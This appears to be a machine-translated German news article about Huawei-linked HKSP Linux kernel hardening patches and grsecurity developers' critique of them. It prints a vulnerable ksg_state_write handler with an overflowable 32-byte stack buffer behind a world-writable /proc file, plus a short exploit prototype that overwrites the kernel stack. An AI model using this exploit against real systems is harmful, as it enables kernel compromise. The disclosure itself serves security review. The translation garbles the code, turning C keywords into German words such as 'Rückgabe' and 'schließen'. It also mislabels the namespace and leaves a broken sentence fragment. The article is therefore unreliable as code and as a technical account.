Entwickler des Grsecurity-Projekts
Die HKSP-Patches wurden von einem Huawei-Mitarbeiter veröffentlicht, enthalten eine Erwähnung von Huawei im GitHub-Profil und verwenden das Wort Huawei im Projektnamen (HKSP – Huawei Kernel Self Protection). Gleichzeitig bestritten Huawei-Vertreter die Verbindung des HKSP-Projekts mit dem Unternehmen und erklärten, dass der Code auf persönliche Initiative des Mitarbeiters entwickelt worden sei, kein offizielles Huawei-Projekt sei und nicht in den Produkten des Unternehmens verwendet werde. An
HKSP umfasst Änderungen wie Randomisierung von Offsets in der Cred-Struktur, Schutz vor Angriffen auf den Benutzer-ID-Namespace (PID-Namespace), Trennung des Prozessstapels vom mmap-Bereich, Erkennung von Doppelaufrufen der kfree-Funktion, Blockierung von Lecks durch Pseudo -FS /proc (/proc/ {Module, Schlüssel, Schlüsselbenutzer}, /proc/sys/kernel/* und /proc/sys/vm/mmap_min_addr, /proc/kallsyms), verbesserte User-Space-Adress-Randomisierung, zusätzliches Ptrace Schutz, verbesserter SMAP- und SMP-Schutz, die Möglichkeit, das Senden von Daten über Raw-Sockets zu verbieten, falsche Adressen in UDP-Sockets zu blockieren und die Integrität laufender Prozesse zu überprüfen. Es enthält auch das Ksguard-Kernelmodul, das darauf abzielt, Versuche zur Einschleusung typischer Rootkits zu erkennen.
Patches
Eine Untersuchung des Patches durch Grsecurity-Entwickler ergab viele Fehler und Schwächen im Code und zeigte auch das Fehlen eines Bedrohungsmodells, das es ihnen ermöglichen würde, die Fähigkeiten des Projekts angemessen zu beurteilen. Um deutlich zu machen, dass der Code ohne Verwendung sicherer Programmiermethoden geschrieben wurde, wird ein Beispiel für eine triviale Schwachstelle im Handler gegeben.
Datei /proc/ksguard/state, die mit den Rechten 0777 erstellt wird, was bedeutet, dass jeder Schreibzugriff hat. Die Funktion ksg_state_write, die zum Parsen von in /proc/ksguard/state geschriebenen Befehlen verwendet wird, erstellt einen tmp[32]-Puffer, in den Daten basierend auf der Größe des übergebenen Operanden geschrieben werden, ohne Berücksichtigung der Größe des Zielpuffers und ohne Überprüfen des Parameters anhand der Stringgröße. Diese. Um einen Teil des Kernel-Stacks zu überschreiben, muss ein Angreifer lediglich eine speziell formatierte Zeile in /proc/ksguard/state schreiben.
static ssize_t ksg_state_write(struct file *file, const char __user *buf,
size_t len, loff_t *Offset)
{
u64-Wert;
char tmp [32];
size_t n = 0;
if (copy_from_user(tmp, buf, len))
Rückgabe -1;
value = simple_strtoul(tmp, '\0', 10);
...
Exploit-Prototyp:
char buf[4096] = { };
int fd = open(“/proc/ksguard/state”, O_WRONLY);
if (fd >= 0) {
write(fd, buf, sizeof(buf));
schließen(fd);
}
Source: opennet.ru